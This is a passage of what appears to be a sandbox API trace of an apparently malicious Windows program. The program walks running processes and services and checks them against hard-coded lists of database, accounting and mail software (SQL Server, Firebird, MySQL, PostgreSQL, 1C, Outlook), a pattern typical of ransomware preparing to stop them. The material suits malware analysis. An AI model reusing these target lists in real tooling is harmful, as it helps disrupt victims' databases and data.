hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.092] lstrlenW (lpString="dwm.exe") returned 7 [0249.092] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.092] lstrlenW (lpString="explorer.exe") returned 12 [0249.092] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.092] lstrlenW (lpString="spoolsv.exe") returned 11 [0249.092] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0249.092] lstrlenW (lpString="taskhost.exe") returned 12 [0249.093] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.093] lstrlenW (lpString="svchost.exe") returned 11 [0249.093] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0249.093] lstrlenW (lpString="uyuquk.exe") returned 10 [0249.093] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0249.093] lstrlenW (lpString="reader_sl.exe") returned 13 [0249.093] Process32NextW (in: hSnapshot=0x3ac, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0249.094] CloseHandle (hObject=0x3ac) returned 1 [0249.094] Sleep (dwMilliseconds=0x1f4) [0249.797] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb48 [0249.808] EnumServicesStatusExW (in: hSCManager=0x42aeb48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0249.808] GetLastError () returned 0xea [0249.808] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x42e73a0 [0249.808] EnumServicesStatusExW (in: hSCManager=0x42aeb48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0249.809] CloseServiceHandle (hSCObject=0x42aeb48) returned 1 [0249.809] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0249.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0249.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0249.809] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0249.809] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0249.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0249.809] lstrlenW (lpString="AudioSrv") returned 8 [0249.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0249.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0249.809] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0249.809] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0249.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0249.809] lstrlenW (lpString="BFE") returned 3 [0249.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0249.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0249.809] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0249.809] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0249.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0249.809] lstrlenW (lpString="CryptSvc") returned 8 [0249.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0249.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0249.809] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0249.809] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0249.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0249.809] lstrlenW (lpString="CscService") returned 10 [0249.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0249.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0249.809] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0249.809] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0249.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0249.809] lstrlenW (lpString="DcomLaunch") returned 10 [0249.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0249.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0249.810] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0249.810] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0249.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0249.810] lstrlenW (lpString="Dhcp") returned 4 [0249.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0249.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0249.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0249.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0249.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0249.810] lstrlenW (lpString="Dnscache") returned 8 [0249.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0249.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0249.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0249.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0249.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0249.810] lstrlenW (lpString="DPS") returned 3 [0249.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0249.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0249.810] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0249.810] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0249.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0249.810] lstrlenW (lpString="eventlog") returned 8 [0249.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0249.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0249.810] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0249.810] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0249.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0249.810] lstrlenW (lpString="EventSystem") returned 11 [0249.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0249.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0249.810] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0249.810] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0249.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0249.810] lstrlenW (lpString="gpsvc") returned 5 [0249.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0249.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0249.811] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0249.811] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0249.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0249.811] lstrlenW (lpString="LanmanWorkstation") returned 17 [0249.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0249.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0249.811] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0249.811] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0249.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0249.811] lstrlenW (lpString="lmhosts") returned 7 [0249.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0249.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0249.811] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0249.811] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0249.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0249.811] lstrlenW (lpString="MMCSS") returned 5 [0249.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0249.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0249.811] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0249.811] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0249.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0249.811] lstrlenW (lpString="MpsSvc") returned 6 [0249.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0249.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0249.811] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0249.811] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0249.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0249.811] lstrlenW (lpString="NlaSvc") returned 6 [0249.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0249.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0249.811] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0249.811] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0249.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0249.811] lstrlenW (lpString="nsi") returned 3 [0249.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0249.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0249.812] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0249.812] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0249.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0249.812] lstrlenW (lpString="PcaSvc") returned 6 [0249.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0249.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0249.812] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0249.812] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0249.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0249.812] lstrlenW (lpString="PlugPlay") returned 8 [0249.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0249.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0249.812] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0249.812] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0249.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0249.812] lstrlenW (lpString="Power") returned 5 [0249.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0249.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0249.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0249.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0249.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0249.812] lstrlenW (lpString="ProfSvc") returned 7 [0249.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0249.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0249.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0249.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0249.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0249.812] lstrlenW (lpString="RpcEptMapper") returned 12 [0249.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0249.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0249.812] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0249.812] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0249.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0249.812] lstrlenW (lpString="RpcSs") returned 5 [0249.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0249.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0249.813] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0249.813] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0249.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0249.813] lstrlenW (lpString="SamSs") returned 5 [0249.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0249.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0249.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0249.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0249.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0249.813] lstrlenW (lpString="Schedule") returned 8 [0249.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0249.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0249.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0249.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0249.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0249.813] lstrlenW (lpString="SENS") returned 4 [0249.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0249.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0249.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0249.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0249.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0249.813] lstrlenW (lpString="ShellHWDetection") returned 16 [0249.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0249.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0249.813] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0249.813] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0249.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0249.813] lstrlenW (lpString="Spooler") returned 7 [0249.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0249.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0249.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0249.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0249.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0249.813] lstrlenW (lpString="SysMain") returned 7 [0249.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0249.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0249.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0249.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0249.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0249.814] lstrlenW (lpString="Themes") returned 6 [0249.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0249.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0249.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0249.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0249.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0249.814] lstrlenW (lpString="TrkWks") returned 6 [0249.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0249.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0249.814] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0249.814] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0249.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0249.814] lstrlenW (lpString="UxSms") returned 5 [0249.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0249.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0249.814] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0249.814] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0249.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0249.814] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0249.814] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0249.816] Process32FirstW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.816] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.816] lstrlenW (lpString="System") returned 6 [0249.816] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0249.816] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0249.816] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0249.816] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0249.816] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0249.816] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0249.816] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0249.816] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.817] lstrlenW (lpString="smss.exe") returned 8 [0249.817] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0249.817] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0249.817] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0249.817] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0249.817] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0249.817] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0249.817] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0249.817] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.817] lstrlenW (lpString="csrss.exe") returned 9 [0249.817] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0249.817] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0249.817] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0249.817] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0249.817] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0249.817] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0249.817] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0249.817] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.818] lstrlenW (lpString="wininit.exe") returned 11 [0249.818] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0249.818] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0249.818] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0249.818] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0249.818] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0249.818] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0249.818] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0249.818] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.818] lstrlenW (lpString="csrss.exe") returned 9 [0249.818] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0249.818] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0249.818] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0249.818] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0249.818] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0249.818] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0249.818] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0249.818] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.819] lstrlenW (lpString="winlogon.exe") returned 12 [0249.819] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0249.819] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0249.819] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0249.819] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0249.819] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0249.819] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0249.819] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0249.819] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.819] lstrlenW (lpString="services.exe") returned 12 [0249.819] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0249.819] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0249.819] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0249.819] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0249.819] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0249.819] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0249.819] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0249.819] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, 